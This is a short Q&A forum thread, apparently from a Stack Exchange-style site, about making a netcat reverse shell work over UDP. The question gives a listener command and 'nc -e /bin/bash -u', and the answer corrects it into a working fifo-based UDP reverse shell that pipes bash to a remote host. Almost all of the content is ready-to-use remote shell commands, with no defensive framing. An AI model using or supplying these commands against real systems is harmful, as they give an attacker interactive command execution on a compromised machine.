Reputation: 307
I want to get a reverse shell over UDP using netcat. Netcat by default sends traffic over TCP, so in order to send it over UDP I run the -u
option like this:
Host 1:
nc.traditional -l -p 4444 -v -u
Host 2:
nc.traditional localhost 4444 -e /bin/bash -u
But when I type a bash command I do not get the output. Why is that?
Upvotes: 0
Views: 6079
Reputation: 123490
There are several problems with this:
localhost
on Host 2. This is a special hostname that refers to the current host, not to Host 1.bash
reads input character by character, which doesn't work well with non-stream packet based data.You can instead connect nc
and bash
with streams, and then send an immediate packet so that Host 1 will know where to send the commands you enter:
Host1:
nc.traditional -l -p 4444 -v -u
Host 2:
mkfifo fifo
nc.traditional -u host1 4444 < fifo |
{
echo "Hi"
bash
} > fifo
Upvotes: 2